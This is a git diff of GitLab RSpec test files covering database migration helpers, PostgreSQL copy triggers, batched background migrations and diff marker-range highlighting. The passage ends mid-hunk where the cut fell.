@@ -1182,7 +1186,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
.with(:users, temp_undo_cleanup_column, :old)
expect(model).to receive(:install_rename_triggers_for_postgresql)
- .with(trigger_name, '"users"', '"old"', '"old_for_type_change"')
+ .with(:users, :old, 'old_for_type_change')
model.undo_cleanup_concurrent_column_type_change(
:users,
@@ -1204,28 +1208,25 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
describe '#install_rename_triggers_for_postgresql' do
it 'installs the triggers for PostgreSQL' do
- expect(model).to receive(:execute)
- .with(/CREATE OR REPLACE FUNCTION foo()/m)
+ copy_trigger = double('copy trigger')
- expect(model).to receive(:execute)
- .with(/DROP TRIGGER IF EXISTS foo/m)
+ expect(Gitlab::Database::UnidirectionalCopyTrigger).to receive(:on_table)
+ .with(:users).and_return(copy_trigger)
- expect(model).to receive(:execute)
- .with(/CREATE TRIGGER foo/m)
+ expect(copy_trigger).to receive(:create).with(:old, :new, trigger_name: 'foo')
- model.install_rename_triggers_for_postgresql('foo', :users, :old, :new)
- end
-
- it 'does not fail if trigger already exists' do
- model.install_rename_triggers_for_postgresql('foo', :users, :old, :new)
- model.install_rename_triggers_for_postgresql('foo', :users, :old, :new)
+ model.install_rename_triggers_for_postgresql(:users, :old, :new, trigger_name: 'foo')
end
end
describe '#remove_rename_triggers_for_postgresql' do
it 'removes the function and trigger' do
- expect(model).to receive(:execute).with('DROP TRIGGER IF EXISTS foo ON bar')
- expect(model).to receive(:execute).with('DROP FUNCTION IF EXISTS foo()')
+ copy_trigger = double('copy trigger')
+
+ expect(Gitlab::Database::UnidirectionalCopyTrigger).to receive(:on_table)
+ .with('bar').and_return(copy_trigger)
+
+ expect(copy_trigger).to receive(:drop).with('foo')
model.remove_rename_triggers_for_postgresql('bar', 'foo')
end
@@ -1702,65 +1703,171 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
end
describe '#initialize_conversion_of_integer_to_bigint' do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository) }
- let(:issue) { create(:issue, project: project) }
- let!(:event) do
- create(:event, :created, project: project, target: issue, author: user)
+ let(:table) { :test_table }
+ let(:column) { :id }
+ let(:tmp_column) { "#{column}_convert_to_bigint" }
+
+ before do
+ model.create_table table, id: false do |t|
+ t.integer :id, primary_key: true
+ t.integer :non_nullable_column, null: false
+ t.integer :nullable_column
+ t.timestamps
+ end
end
- context 'in a transaction' do
- it 'raises RuntimeError' do
- allow(model).to receive(:transaction_open?).and_return(true)
+ context 'when the target table does not exist' do
+ it 'raises an error' do
+ expect { model.initialize_conversion_of_integer_to_bigint(:this_table_is_not_real, column) }
+ .to raise_error('Table this_table_is_not_real does not exist')
+ end
+ end
- expect { model.initialize_conversion_of_integer_to_bigint(:events, :id) }
- .to raise_error(RuntimeError)
+ context 'when the primary key does not exist' do
+ it 'raises an error' do
+ expect { model.initialize_conversion_of_integer_to_bigint(table, column, primary_key: :foobar) }
+ .to raise_error("Column foobar does not exist on #{table}")
end
end
- context 'outside a transaction' do
- before do
- allow(model).to receive(:transaction_open?).and_return(false)
+ context 'when the column to convert does not exist' do
+ let(:column) { :foobar }
+
+ it 'raises an error' do
+ expect { model.initialize_conversion_of_integer_to_bigint(table, column) }
+ .to raise_error("Column #{column} does not exist on #{table}")
end
+ end
- it 'creates a bigint column and starts backfilling it' do
- expect(model)
- .to receive(:add_column)
- .with(
- :events,
- 'id_convert_to_bigint',
- :bigint,
- default: 0,
- null: false
- )
+ context 'when the column to convert is the primary key' do
+ it 'creates a not-null bigint column and installs triggers' do
+ expect(model).to receive(:add_column).with(table, tmp_column, :bigint, default: 0, null: false)
- expect(model)
- .to receive(:install_rename_triggers)
- .with(:events, :id, 'id_convert_to_bigint')
+ expect(model).to receive(:install_rename_triggers).with(table, column, tmp_column)
- expect(model).to receive(:queue_background_migration_jobs_by_range_at_intervals).and_call_original
+ model.initialize_conversion_of_integer_to_bigint(table, column)
+ end
+ end
- expect(BackgroundMigrationWorker)
- .to receive(:perform_in)
- .ordered
- .with(
- 2.minutes,
- 'CopyColumnUsingBackgroundMigrationJob',
- [event.id, event.id, :events, :id, 100, :id, 'id_convert_to_bigint']
- )
+ context 'when the column to convert is not the primary key, but non-nullable' do
+ let(:column) { :non_nullable_column }
+
+ it 'creates a not-null bigint column and installs triggers' do
+ expect(model).to receive(:add_column).with(table, tmp_column, :bigint, default: 0, null: false)
+
+ expect(model).to receive(:install_rename_triggers).with(table, column, tmp_column)
+
+ model.initialize_conversion_of_integer_to_bigint(table, column)
+ end
+ end
+
+ context 'when the column to convert is not the primary key, but nullable' do
+ let(:column) { :nullable_column }
+
+ it 'creates a nullable bigint column and installs triggers' do
+ expect(model).to receive(:add_column).with(table, tmp_column, :bigint, default: nil)
+
+ expect(model).to receive(:install_rename_triggers).with(table, column, tmp_column)
+
+ model.initialize_conversion_of_integer_to_bigint(table, column)
+ end
+ end
+ end
+
+ describe '#backfill_conversion_of_integer_to_bigint' do
+ let(:table) { :_test_backfill_table }
+ let(:column) { :id }
+ let(:tmp_column) { "#{column}_convert_to_bigint" }
+
+ before do
+ model.create_table table, id: false do |t|
+ t.integer :id, primary_key: true
+ t.text :message, null: false
+ t.timestamps
+ end
- expect(Gitlab::BackgroundMigration)
- .to receive(:steal)
- .ordered
- .with('CopyColumnUsingBackgroundMigrationJob')
+ allow(model).to receive(:perform_background_migration_inline?).and_return(false)
+ end
- model.initialize_conversion_of_integer_to_bigint(
- :events,
- :id,
- batch_size: 300,
- sub_batch_size: 100
+ context 'when the target table does not exist' do
+ it 'raises an error' do
+ expect { model.backfill_conversion_of_integer_to_bigint(:this_table_is_not_real, column) }
+ .to raise_error('Table this_table_is_not_real does not exist')
+ end
+ end
+
+ context 'when the primary key does not exist' do
+ it 'raises an error' do
+ expect { model.backfill_conversion_of_integer_to_bigint(table, column, primary_key: :foobar) }
+ .to raise_error("Column foobar does not exist on #{table}")
+ end
+ end
+
+ context 'when the column to convert does not exist' do
+ let(:column) { :foobar }
+
+ it 'raises an error' do
+ expect { model.backfill_conversion_of_integer_to_bigint(table, column) }
+ .to raise_error("Column #{column} does not exist on #{table}")
+ end
+ end
+
+ context 'when the temporary column does not exist' do
+ it 'raises an error' do
+ expect { model.backfill_conversion_of_integer_to_bigint(table, column) }
+ .to raise_error('The temporary column does not exist, initialize it with `initialize_conversion_of_integer_to_bigint`')
+ end
+ end
+
+ context 'when the conversion is properly initialized' do
+ let(:model_class) do
+ Class.new(ActiveRecord::Base) do
+ self.table_name = :_test_backfill_table
+ end
+ end
+
+ let(:migration_relation) { Gitlab::Database::BackgroundMigration::BatchedMigration.active }
+
+ before do
+ model.initialize_conversion_of_integer_to_bigint(table, column)
+
+ model_class.create!(message: 'hello')
+ model_class.create!(message: 'so long')
+ end
+
+ it 'creates the batched migration tracking record' do
+ last_record = model_class.create!(message: 'goodbye')
+
+ expect do
+ model.backfill_conversion_of_integer_to_bigint(table, column, batch_size: 2, sub_batch_size: 1)
+ end.to change { migration_relation.count }.by(1)
+
+ expect(migration_relation.last).to have_attributes(
+ job_class_name: 'CopyColumnUsingBackgroundMigrationJob',
+ table_name: table.to_s,
+ column_name: column.to_s,
+ min_value: 1,
+ max_value: last_record.id,
+ interval: 120,
+ batch_size: 2,
+ sub_batch_size: 1,
+ job_arguments: [column.to_s, "#{column}_convert_to_bigint"]
)
end
+
+ context 'when the migration should be performed inline' do
+ it 'calls the runner to run the entire migration' do
+ expect(model).to receive(:perform_background_migration_inline?).and_return(true)
+
+ expect_next_instance_of(Gitlab::Database::BackgroundMigration::BatchedMigrationRunner) do |scheduler|
+ expect(scheduler).to receive(:run_entire_migration) do |batched_migration|
+ expect(batched_migration).to eq(migration_relation.last)
+ end
+ end
+
+ model.backfill_conversion_of_integer_to_bigint(table, column, batch_size: 2, sub_batch_size: 1)
+ end
+ end
end
end
@@ -1910,9 +2017,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
def setup
namespace = namespaces.create!(name: 'foo', path: 'foo')
- project = projects.create!(namespace_id: namespace.id)
-
- project
+ projects.create!(namespace_id: namespace.id)
end
it 'generates iids properly for models created after the migration' do
diff --git a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
index e25e4af2e86..c6d456964cf 100644
--- a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
@@ -263,7 +263,15 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
end
describe '#queue_batched_background_migration' do
+ let(:pgclass_info) { instance_double('Gitlab::Database::PgClass', cardinality_estimate: 42) }
+
+ before do
+ allow(Gitlab::Database::PgClass).to receive(:for_table).and_call_original
+ end
+
it 'creates the database record for the migration' do
+ expect(Gitlab::Database::PgClass).to receive(:for_table).with(:projects).and_return(pgclass_info)
+
expect do
model.queue_batched_background_migration(
'MyJobClass',
@@ -288,7 +296,8 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
batch_size: 100,
sub_batch_size: 10,
job_arguments: %w[],
- status: 'active')
+ status: 'active',
+ total_tuple_count: pgclass_info.cardinality_estimate)
end
context 'when the job interval is lower than the minimum' do
@@ -431,4 +440,21 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
model.bulk_migrate_in(10.minutes, [%w(Class hello world)])
end
end
+
+ describe '#delete_queued_jobs' do
+ let(:job1) { double }
+ let(:job2) { double }
+
+ it 'deletes all queued jobs for the given background migration' do
+ expect(Gitlab::BackgroundMigration).to receive(:steal).with('BackgroundMigrationClassName') do |&block|
+ expect(block.call(job1)).to be(false)
+ expect(block.call(job2)).to be(false)
+ end
+
+ expect(job1).to receive(:delete)
+ expect(job2).to receive(:delete)
+
+ model.delete_queued_jobs('BackgroundMigrationClassName')
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb b/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
index b5d741fc5e9..5b2a29d1d2d 100644
--- a/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
+++ b/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
@@ -704,6 +704,72 @@ RSpec.describe Gitlab::Database::PartitioningMigrationHelpers::TableManagementHe
end
end
+ describe '#drop_nonpartitioned_archive_table' do
+ subject { migration.drop_nonpartitioned_archive_table source_table }
+
+ let(:archived_table) { "#{source_table}_archived" }
+
+ before do
+ migration.partition_table_by_date source_table, partition_column, min_date: min_date, max_date: max_date
+ migration.replace_with_partitioned_table source_table
+ end
+
+ it 'drops the archive table' do
+ expect(table_type(archived_table)).to eq('normal')
+
+ subject
+
+ expect(table_type(archived_table)).to eq(nil)
+ end
+
+ it 'drops the trigger on the source table' do
+ expect_valid_function_trigger(source_table, trigger_name, function_name, after: %w[delete insert update])
+
+ subject
+
+ expect_trigger_not_to_exist(source_table, trigger_name)
+ end
+
+ it 'drops the sync function' do
+ expect_function_to_exist(function_name)
+
+ subject
+
+ expect_function_not_to_exist(function_name)
+ end
+ end
+
+ describe '#create_trigger_to_sync_tables' do
+ subject { migration.create_trigger_to_sync_tables(source_table, target_table, :id) }
+
+ let(:target_table) { "#{source_table}_copy" }
+
+ before do
+ migration.create_table target_table do |t|
+ t.string :name, null: false
+ t.integer :age, null: false
+ t.datetime partition_column
+ t.datetime :updated_at
+ end
+ end
+
+ it 'creates the sync function' do
+ expect_function_not_to_exist(function_name)
+
+ subject
+
+ expect_function_to_exist(function_name)
+ end
+
+ it 'installs the trigger' do
+ expect_trigger_not_to_exist(source_table, trigger_name)
+
+ subject
+
+ expect_valid_function_trigger(source_table, trigger_name, function_name, after: %w[delete insert update])
+ end
+ end
+
def filter_columns_by_name(columns, names)
columns.reject { |c| names.include?(c.name) }
end
diff --git a/spec/lib/gitlab/database/pg_class_spec.rb b/spec/lib/gitlab/database/pg_class_spec.rb
new file mode 100644
index 00000000000..83b50415a6c
--- /dev/null
+++ b/spec/lib/gitlab/database/pg_class_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::PgClass, type: :model do
+ describe '#cardinality_estimate' do
+ context 'when no information is available' do
+ subject { described_class.new(reltuples: 0.0).cardinality_estimate }
+
+ it 'returns nil for the estimate' do
+ expect(subject).to be_nil
+ end
+ end
+
+ context 'with reltuples available' do
+ subject { described_class.new(reltuples: 42.0).cardinality_estimate }
+
+ it 'returns the reltuples for the estimate' do
+ expect(subject).to eq(42)
+ end
+ end
+ end
+
+ describe '.for_table' do
+ let(:relname) { :projects }
+
+ subject { described_class.for_table(relname) }
+
+ it 'returns PgClass for this table' do
+ expect(subject).to be_a(described_class)
+ end
+
+ it 'matches the relname' do
+ expect(subject.relname).to eq(relname.to_s)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_base_spec.rb b/spec/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_base_spec.rb
index 757da2d9092..1edcd890370 100644
--- a/spec/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_base_spec.rb
+++ b/spec/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_base_spec.rb
@@ -246,7 +246,8 @@ RSpec.describe Gitlab::Database::RenameReservedPathsMigration::V1::RenameBase, :
subject.track_rename('namespace', 'path/to/namespace', 'path/to/renamed')
- old_path, new_path = [nil, nil]
+ old_path = nil
+ new_path = nil
Gitlab::Redis::SharedState.with do |redis|
rename_info = redis.lpop(key)
old_path, new_path = Gitlab::Json.parse(rename_info)
diff --git a/spec/lib/gitlab/database/unidirectional_copy_trigger_spec.rb b/spec/lib/gitlab/database/unidirectional_copy_trigger_spec.rb
new file mode 100644
index 00000000000..2955c208f16
--- /dev/null
+++ b/spec/lib/gitlab/database/unidirectional_copy_trigger_spec.rb
@@ -0,0 +1,191 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::UnidirectionalCopyTrigger do
+ include Database::TriggerHelpers
+
+ let(:table_name) { '_test_table' }
+ let(:connection) { ActiveRecord::Base.connection }
+ let(:copy_trigger) { described_class.on_table(table_name) }
+
+ describe '#name' do
+ context 'when a single column name is given' do
+ subject(:trigger_name) { copy_trigger.name('id', 'other_id') }
+
+ it 'returns the trigger name' do
+ expect(trigger_name).to eq('trigger_cfce7a56a9d6')
+ end
+ end
+
+ context 'when multiple column names are given' do
+ subject(:trigger_name) { copy_trigger.name(%w[id fk_id], %w[other_id other_fk_id]) }
+
+ it 'returns the trigger name' do
+ expect(trigger_name).to eq('trigger_166626e51481')
+ end
+ end
+
+ context 'when a different number of new and old column names are given' do
+ it 'raises an error' do
+ expect do
+ copy_trigger.name(%w[id fk_id], %w[other_id])
+ end.to raise_error(ArgumentError, 'number of source and destination columns must match')
+ end
+ end
+ end
+
+ describe '#create' do
+ let(:model) { Class.new(ActiveRecord::Base) }
+
+ before do
+ connection.execute(<<~SQL)
+ CREATE TABLE #{table_name} (
+ id serial NOT NULL PRIMARY KEY,
+ other_id integer,
+ fk_id bigint,
+ other_fk_id bigint);
+ SQL
+
+ model.table_name = table_name
+ end
+
+ context 'when a single column name is given' do
+ let(:trigger_name) { 'trigger_cfce7a56a9d6' }
+
+ it 'creates the trigger and function' do
+ expect_function_not_to_exist(trigger_name)
+ expect_trigger_not_to_exist(table_name, trigger_name)
+
+ copy_trigger.create('id', 'other_id')
+
+ expect_function_to_exist(trigger_name)
+ expect_valid_function_trigger(table_name, trigger_name, trigger_name, before: %w[insert update])
+ end
+
+ it 'properly copies the column data using the trigger function' do
+ copy_trigger.create('id', 'other_id')
+
+ record = model.create!(id: 10)
+ expect(record.reload).to have_attributes(other_id: 10)
+
+ record.update!({ id: 20 })
+ expect(record.reload).to have_attributes(other_id: 20)
+ end
+ end
+
+ context 'when multiple column names are given' do
+ let(:trigger_name) { 'trigger_166626e51481' }
+
+ it 'creates the trigger and function to set all the columns' do
+ expect_function_not_to_exist(trigger_name)
+ expect_trigger_not_to_exist(table_name, trigger_name)
+
+ copy_trigger.create(%w[id fk_id], %w[other_id other_fk_id])
+
+ expect_function_to_exist(trigger_name)
+ expect_valid_function_trigger(table_name, trigger_name, trigger_name, before: %w[insert update])
+ end
+
+ it 'properly copies the columns using the trigger function' do
+ copy_trigger.create(%w[id fk_id], %w[other_id other_fk_id])
+
+ record = model.create!(id: 10, fk_id: 20)
+ expect(record.reload).to have_attributes(other_id: 10, other_fk_id: 20)
+
+ record.update!(id: 30, fk_id: 50)
+ expect(record.reload).to have_attributes(other_id: 30, other_fk_id: 50)
+ end
+ end
+
+ context 'when a custom trigger name is given' do
+ let(:trigger_name) { '_test_trigger' }
+
+ it 'creates the trigger and function with the custom name' do
+ expect_function_not_to_exist(trigger_name)
+ expect_trigger_not_to_exist(table_name, trigger_name)
+
+ copy_trigger.create('id', 'other_id', trigger_name: trigger_name)
+
+ expect_function_to_exist(trigger_name)
+ expect_valid_function_trigger(table_name, trigger_name, trigger_name, before: %w[insert update])
+ end
+ end
+
+ context 'when the trigger function already exists' do
+ let(:trigger_name) { 'trigger_cfce7a56a9d6' }
+
+ it 'does not raise an error' do
+ expect_function_not_to_exist(trigger_name)
+ expect_trigger_not_to_exist(table_name, trigger_name)
+
+ copy_trigger.create('id', 'other_id')
+
+ expect_function_to_exist(trigger_name)
+ expect_valid_function_trigger(table_name, trigger_name, trigger_name, before: %w[insert update])
+
+ copy_trigger.create('id', 'other_id')
+
+ expect_function_to_exist(trigger_name)
+ expect_valid_function_trigger(table_name, trigger_name, trigger_name, before: %w[insert update])
+ end
+ end
+
+ context 'when a different number of new and old column names are given' do
+ it 'raises an error' do
+ expect do
+ copy_trigger.create(%w[id fk_id], %w[other_id])
+ end.to raise_error(ArgumentError, 'number of source and destination columns must match')
+ end
+ end
+ end
+
+ describe '#drop' do
+ let(:trigger_name) { '_test_trigger' }
+
+ before do
+ connection.execute(<<~SQL)
+ CREATE TABLE #{table_name} (
+ id serial NOT NULL PRIMARY KEY,
+ other_id integer NOT NULL);
+
+ CREATE FUNCTION #{trigger_name}()
+ RETURNS trigger
+ LANGUAGE plpgsql AS
+ $$
+ BEGIN
+ RAISE NOTICE 'hello';
+ RETURN NEW;
+ END
+ $$;
+
+ CREATE TRIGGER #{trigger_name}
+ BEFORE INSERT OR UPDATE
+ ON #{table_name}
+ FOR EACH ROW
+ EXECUTE FUNCTION #{trigger_name}();
+ SQL
+ end
+
+ it 'drops the trigger and function for the given arguments' do
+ expect_function_to_exist(trigger_name)
+ expect_valid_function_trigger(table_name, trigger_name, trigger_name, before: %w[insert update])
+
+ copy_trigger.drop(trigger_name)
+
+ expect_trigger_not_to_exist(table_name, trigger_name)
+ expect_function_not_to_exist(trigger_name)
+ end
+
+ context 'when the trigger does not exist' do
+ it 'does not raise an error' do
+ copy_trigger.drop(trigger_name)
+
+ expect_trigger_not_to_exist(table_name, trigger_name)
+ expect_function_not_to_exist(trigger_name)
+
+ copy_trigger.drop(trigger_name)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb b/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb
index 39029322e25..e70b34d6557 100644
--- a/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb
+++ b/spec/lib/gitlab/database_importers/instance_administrators/create_group_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe Gitlab::DatabaseImporters::InstanceAdministrators::CreateGroup do
end
end
- context 'with application settings and admin users' do
+ context 'with application settings and admin users', :do_not_mock_admin_mode_setting do
let(:group) { result[:group] }
let(:application_setting) { Gitlab::CurrentSettings.current_application_settings }
diff --git a/spec/lib/gitlab/database_spec.rb b/spec/lib/gitlab/database_spec.rb
index 1553a989dba..b735ac7940b 100644
--- a/spec/lib/gitlab/database_spec.rb
+++ b/spec/lib/gitlab/database_spec.rb
@@ -407,13 +407,13 @@ RSpec.describe Gitlab::Database do
expect(described_class.db_read_only?).to be_truthy
end
- it 'detects a read write database' do
+ it 'detects a read-write database' do
allow(ActiveRecord::Base.connection).to receive(:execute).with('SELECT pg_is_in_recovery()').and_return([{ "pg_is_in_recovery" => "f" }])
expect(described_class.db_read_only?).to be_falsey
end
- it 'detects a read write database' do
+ it 'detects a read-write database' do
allow(ActiveRecord::Base.connection).to receive(:execute).with('SELECT pg_is_in_recovery()').and_return([{ "pg_is_in_recovery" => false }])
expect(described_class.db_read_only?).to be_falsey
diff --git a/spec/lib/gitlab/diff/char_diff_spec.rb b/spec/lib/gitlab/diff/char_diff_spec.rb
index e4e2a3ba050..d38008c16f2 100644
--- a/spec/lib/gitlab/diff/char_diff_spec.rb
+++ b/spec/lib/gitlab/diff/char_diff_spec.rb
@@ -49,15 +49,15 @@ RSpec.describe Gitlab::Diff::CharDiff do
old_diffs, new_diffs = subject
expect(old_diffs).to eq([])
- expect(new_diffs).to eq([0..12])
+ expect(new_diffs).to eq([Gitlab::MarkerRange.new(0, 12, mode: :addition)])
end
end
it 'returns ranges of changes' do
old_diffs, new_diffs = subject
- expect(old_diffs).to eq([11..11])
- expect(new_diffs).to eq([3..3])
+ expect(old_diffs).to eq([Gitlab::MarkerRange.new(11, 11, mode: :deletion)])
+ expect(new_diffs).to eq([Gitlab::MarkerRange.new(3, 3, mode: :addition)])
end
end
diff --git a/spec/lib/gitlab/diff/highlight_cache_spec.rb b/spec/lib/gitlab/diff/highlight_cache_spec.rb
index d26bc5fc9a8..4c56911e665 100644
--- a/spec/lib/gitlab/diff/highlight_cache_spec.rb
+++ b/spec/lib/gitlab/diff/highlight_cache_spec.rb
@@ -238,16 +238,36 @@ RSpec.describe Gitlab::Diff::HighlightCache, :clean_gitlab_redis_cache do
subject { cache.key }
it 'returns cache key' do
- is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:true")
+ is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:true:true:true")
end
- context 'when feature flag is disabled' do
+ context 'when the `introduce_marker_ranges` feature flag is disabled' do
before do
stub_feature_flags(introduce_marker_ranges: false)
end
it 'returns the original version of the cache' do
- is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:false")
+ is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:false:true:true")
+ end
+ end
+
+ context 'when the `use_marker_ranges` feature flag is disabled' do
+ before do
+ stub_feature_flags(use_marker_ranges: false)
+ end
+
+ it 'returns the original version of the cache' do
+ is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:true:false:true")
+ end
+ end
+
+ context 'when the `diff_line_syntax_highlighting` feature flag is disabled' do
+ before do
+ stub_feature_flags(diff_line_syntax_highlighting: false)
+ end
+
+ it 'returns the original version of the cache' do
+ is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:true:true:false")
end
end
end
diff --git a/spec/lib/gitlab/diff/highlight_spec.rb b/spec/lib/gitlab/diff/highlight_spec.rb
index e613674af3a..32ca6e4fde6 100644
--- a/spec/lib/gitlab/diff/highlight_spec.rb
+++ b/spec/lib/gitlab/diff/highlight_spec.rb
@@ -65,6 +65,14 @@ RSpec.describe Gitlab::Diff::Highlight do
expect(subject[5].rich_text).to eq(code)
end
+
+ context 'when use_marker_ranges feature flag is false too' do
+ it 'does not affect the result' do
+ code = %Q{+<span id="LC9" class="line" lang="ruby"> <span class="k">raise</span> <span class="no"><span class="idiff left">RuntimeError</span></span><span class="p"><span class="idiff">,</span></span><span class="idiff right"> </span><span class="s2">"System commands must be given as an array of strings"</span></span>\n}
+
+ expect(subject[5].rich_text).to eq(code)
+ end
+ end
end
context 'when no diff_refs' do
@@ -132,6 +140,18 @@ RSpec.describe Gitlab::Diff::Highlight do
end
end
+ context 'when `use_marker_ranges` feature flag is disabled' do
+ it 'returns the same result' do
+ with_feature_flag = described_class.new(diff_file, repository: project.repository).highlight
+
+ stub_feature_flags(use_marker_ranges: false)
+
+ without_feature_flag = described_class.new(diff_file, repository: project.repository).highlight
+
+ expect(with_feature_flag.map(&:rich_text)).to eq(without_feature_flag.map(&:rich_text))
+ end
+ end
+
context 'when no inline diffs' do
it_behaves_like 'without inline diffs'
end
diff --git a/spec/lib/gitlab/diff/inline_diff_spec.rb b/spec/lib/gitlab/diff/inline_diff_spec.rb
index 714b5d813c4..d7b50eb73ee 100644
--- a/spec/lib/gitlab/diff/inline_diff_spec.rb
+++ b/spec/lib/gitlab/diff/inline_diff_spec.rb
@@ -3,68 +3,30 @@
require 'spec_helper'
RSpec.describe Gitlab::Diff::InlineDiff do
- describe '.for_lines' do
- let(:diff) do
- <<-EOF.strip_heredoc
- class Test
- - def initialize(test = true)
- + def initialize(test = false)
- @test = test
- - if true
- - @foo = "bar"
- + unless false
- + @foo = "baz"
- end
- end
- end
- EOF
- end
-
- let(:subject) { described_class.for_lines(diff.lines) }
+ describe '#inline_diffs' do
+ subject { described_class.new(old_line, new_line, offset: offset).inline_diffs }
- it 'finds all inline diffs' do
- expect(subject[0]).to be_nil
- expect(subject[1]).to eq([25..27])
- expect(subject[2]).to eq([25..28])
- expect(subject[3]).to be_nil
- expect(subject[4]).to eq([5..10])
- expect(subject[5]).to eq([17..17])
- expect(subject[6]).to eq([5..15])
- expect(subject[7]).to eq([17..17])
- expect(subject[8]).to be_nil
- end
+ let(:old_line) { 'XXX def initialize(test = true)' }
+ let(:new_line) { 'YYY def initialize(test = false)' }
+ let(:offset) { 3 }
- it 'can handle unchanged empty lines' do
- expect { described_class.for_lines(['- bar', '+ baz', '']) }.not_to raise_error
+ it 'finds the inline diff', :aggregate_failures do
+ expect(subject[0]).to eq([Gitlab::MarkerRange.new(26, 28, mode: :deletion)])
+ expect(subject[1]).to eq([Gitlab::MarkerRange.new(26, 29, mode: :addition)])
end
context 'when lines have multiple changes' do
- let(:diff) do
- <<~EOF
- - Hello, how are you?
- + Hi, how are you doing?
- EOF
- end
-
- let(:subject) { described_class.for_lines(diff.lines) }
-
- it 'finds all inline diffs' do
- expect(subject[0]).to eq([3..6])
- expect(subject[1]).to eq([3..3, 17..22])
+ let(:old_line) { '- Hello, how are you?' }
+ let(:new_line) { '+ Hi, how are you doing?' }
+ let(:offset) { 1 }
+
+ it 'finds all inline diffs', :aggregate_failures do
+ expect(subject[0]).to eq([Gitlab::MarkerRange.new(3, 6, mode: :deletion)])
+ expect(subject[1]).to eq([
+ Gitlab::MarkerRange.new(3, 3, mode: :addition),
+ Gitlab::MarkerRange.new(17, 22, mode: :addition)
+ ])
end
end
end
-
- describe "#inline_diffs" do
- let(:old_line) { "XXX def initialize(test = true)" }
- let(:new_line) { "YYY def initialize(test = false)" }
- let(:subject) { described_class.new(old_line, new_line, offset: 3).inline_diffs }
-
- it "finds the inline diff" do
- old_diffs, new_diffs = subject
-
- expect(old_diffs).to eq([26..28])
- expect(new_diffs).to eq([26..29])
- end
- end
end
diff --git a/spec/lib/gitlab/diff/line_spec.rb b/spec/lib/gitlab/diff/line_spec.rb
index e10a50afde9..949def599ae 100644
--- a/spec/lib/gitlab/diff/line_spec.rb
+++ b/spec/lib/gitlab/diff/line_spec.rb
@@ -17,6 +17,8 @@ RSpec.describe Gitlab::Diff::Line do
rich_text: rich_text)
end
+ let(:rich_text) { nil }
+
describe '.init_from_hash' do
let(:rich_text) { '&lt;input&gt;' }
@@ -43,6 +45,29 @@ RSpec.describe Gitlab::Diff::Line do
end
end
+ describe '#text' do
+ let(:line) { described_class.new(raw_diff, 'new', 0, 0, 0) }
+ let(:raw_diff) { '+Hello' }
+
+ it 'returns raw diff text' do
+ expect(line.text).to eq('+Hello')
+ end
+
+ context 'when prefix is disabled' do
+ it 'returns raw diff text without prefix' do
+ expect(line.text(prefix: false)).to eq('Hello')
+ end
+
+ context 'when diff is empty' do
+ let(:raw_diff) { '' }
+
+ it 'returns an empty raw diff' do
+ expect(line.text(prefix: false)).to eq('')
+ end
+ end
+ end
+ end
+
context "when setting rich text" do
it 'escapes any HTML special characters in the diff chunk header' do
subject = described_class.new("<input>", "", 0, 0, 0)
@@ -51,4 +76,14 @@ RSpec.describe Gitlab::Diff::Line do
expect(line[:rich_text]).to eq("&lt;input&gt;")
end
end
+
+ describe '#set_marker_ranges' do
+ let(:marker_ranges) { [Gitlab::MarkerRange.new(1, 10, mode: :deletion)] }
+
+ it 'stores MarkerRanges in Diff::Line object' do
+ line.set_marker_ranges(marker_ranges)
+
+ expect(line.marker_ranges).to eq(marker_ranges)
+ end
+ end
end
diff --git a/spec/lib/gitlab/diff/lines_unfolder_spec.rb b/spec/lib/gitlab/diff/lines_unfolder_spec.rb
index 4163c0eced5..8385cba3532 100644
--- a/spec/lib/gitlab/diff/lines_unfolder_spec.rb
+++ b/spec/lib/gitlab/diff/lines_unfolder_spec.rb
@@ -302,7 +302,8 @@ RSpec.describe Gitlab::Diff::LinesUnfolder do
new_diff_lines = subject.unfolded_diff_lines
new_diff_lines.each_with_index do |line, i|
- old_pos, new_pos = expected_diff_lines[i][0], expected_diff_lines[i][1]
+ old_pos = expected_diff_lines[i][0]
+ new_pos = expected_diff_lines[i][1]
unless line.type == 'match'
expect(line.line_code).to eq(Gitlab::Git.diff_line_code(diff_file.file_path, new_pos, old_pos))
@@ -396,7 +397,8 @@ RSpec.describe Gitlab::Diff::LinesUnfolder do
new_diff_lines = subject.unfolded_diff_lines
new_diff_lines.each_with_index do |line, i|
